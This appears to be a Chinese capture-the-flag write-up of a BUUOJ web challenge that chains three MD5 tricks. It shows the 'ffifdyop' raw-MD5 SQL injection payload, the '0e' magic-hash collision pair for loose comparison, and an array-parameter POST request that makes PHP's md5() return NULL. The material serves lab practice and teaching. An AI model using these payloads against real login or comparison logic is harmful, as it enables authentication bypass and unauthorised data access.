解题思路
打开靶场,有个提交框,输入后url会出现我们提交的参数password
http://a48577ed-9a1c-4751-aba0-ae99f1eb8143.node5.buuoj.cn:81/leveldo4.php?password=123
查看源码并没用发现什么猫腻,抓包在响应头发现了猫腻
hint: select * from 'admin' where password=md5($pass,true)
给了我们疑似sql注入的提示,我们输入的参数应该是作为pass用MD5加密了,并且增加了true参数,即MD5不是输出字符串,而是原始的二进制格式MD5。
根据语句提示,这里注入password=md5($pass,true)为永真,即可输出admin的所有数据。利用经典的payload:
$pass = "ffifdyop";
// md5("ffifdyop", true) → 二进制:0x276f722736c95d99e921722cf9ed621c
// 转义后:'\'or\'6�]��!r,��b'
原sql语句会变成永真:
SELECT * FROM admin WHERE password=''or '6<乱码>'
提交后转到了另一个界面,应该是说明注入成功了吧..
问我喜欢MD5吗,喜欢密码呢,查看源码,可以发现,作者想要个女朋友
<!--
$a = $GET['a'];
$b = $_GET['b'];if($a != $b && md5($a) == md5($b)){// wow, glzjin wants a girl friend.
-->
比较经典的MD5弱碰撞了,使用经典的0e组合
$a = "QNKCDZO" // MD5: 0e830400451993494058024219903391
$b = "240610708" // MD5: 0e462097431906509019562988736854
levels91.php?a=QNKCDZO&b=240610708
又转到了另一个界面,开始套娃了是吧,不过终于有flag的身影了
<?php
error_reporting(0);
include "flag.php";highlight_file(__FILE__);if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){echo $flag;
}
这里考察原值不严格相等!==和md5值严格相等===
-
!==
要求类型和值至少有一个不相同 -
===
要求类型和值都相同
!==比较好绕过,但是严格比较就需要一些技巧
// 用户输入
$_POST['param1'] = ['a']; // 类型:array
$_POST['param2'] = ['b']; // 类型:array// 条件检查
var_dump($_POST['param1'] !== $_POST['param2']); // true(数组内容不同)
var_dump(md5($_POST['param1']) === md5($_POST['param2'])); // true(都是NULL)// 实际MD5计算
var_dump(md5(['a'])); // NULL(带警告:md5() expects parameter 1 to be string)
var_dump(md5(['b'])); // NULL
使用MD5对数组的特性,计算为null即可严格相等。
因为是post提交数据,抓包进行修改
POST /levell14.php HTTP/1.1
Host: a48577ed-9a1c-4751-aba0-ae99f1eb8143.node5.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://a48577ed-9a1c-4751-aba0-ae99f1eb8143.node5.buuoj.cn:81/levels91.php?a=QNKCDZO&b=240610708
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25param1[]=a¶m2[]=b
成功获取Flag
总结
一道涵盖了挺多知识点的MD5题,还包含了一些sql注入,难点主要在MD5的碰撞上面。